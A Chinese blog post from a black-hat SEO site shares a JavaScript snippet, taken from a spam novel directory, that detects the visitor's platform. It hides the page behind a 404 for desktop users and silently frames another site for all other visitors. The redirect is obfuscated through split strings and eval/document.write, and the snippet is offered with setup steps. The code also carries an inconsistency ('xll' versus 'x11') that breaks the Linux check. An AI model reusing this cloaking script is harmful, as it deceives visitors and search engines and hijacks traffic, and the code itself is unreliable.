识别访客用户端进行跳转的js代码

这是一段从别人的小说泛目录中采集到的js跳转代码,写的真不错,值得学习!

使用本段js代码,需要在模板中引用到:jQuery v1.9.1(jquery.min.js),否则会因为识别到用户硬件平台,但依旧无法跳转(这里说PC端无法跳转,手机端可以跳转)。

代码如下:

var system = {
    win: false,
    mac: false,
    xll: false
};
var p = navigator.platform;//获取硬件平台
var us = navigator.userAgent.toLowerCase();//使用 navigator.userAgent.toLowerCase() 区别浏览器类型
system.win = p.indexOf("Win") == 0;
system.mac = p.indexOf("Mac") == 0;
system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
if (system.win || system.mac || system.xll) {
    var iframe_url = '/404.html';//这里跳转404页面
    $("head").html('<meta charset="UTF-8"><meta name="referrer" content="no-referrer"><title>网页无法访问</title><style>body{position:static !important;}body *{ visibility:hidden; }</style> ');
    $("body").empty();
    $(document).ready(function() {
        $("body").html('<iframe style="width:100%; height:460px;position:absolute;margin-left:0px;margin-top:0px;top:20%;left:0%;" id="mainFrame" src="' + iframe_url + '" frameborder="0" scrolling="no"></iframe>').show();
        $("body *").css("visibility", "visible");
    });
}

var Was1 = '<div id="sp" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" height="100%" src="http://www.baidu.com"></iframe></div><style type="text/css">*{margin: 0;padding: 0;}html{width:100%;height:100%;overflow:hidden;}body {width:100%;height:100%;overflow:hidden}</style>';
window["eval"]("do" + "cu" + "ment.wr" + "ite('" + Was1 + "');");//这里是说手机端跳转百度

如上所示代码,如果是PC端(Win/Mac)则进行跳转到404页面,如果是移动端则跳转到其他指定的页面。

引用上面的代码前 ,别忘了引用jquery库,如:

    <script src="jquery.min.js"></script>
    <script src="识别客户端.js"></script>

首页引用完了jquery在引用识别用户端的代码,即可完美跳转。

本站所有内容仅限用于学习和研究目的,程序仅供本地断网测试,转载请说明出处!
站群SEO » 识别访客用户端进行跳转的js代码

发表评论

欢迎 访客 发表评论

聚合全网站群程序及推送工具!

联系站长 联系客服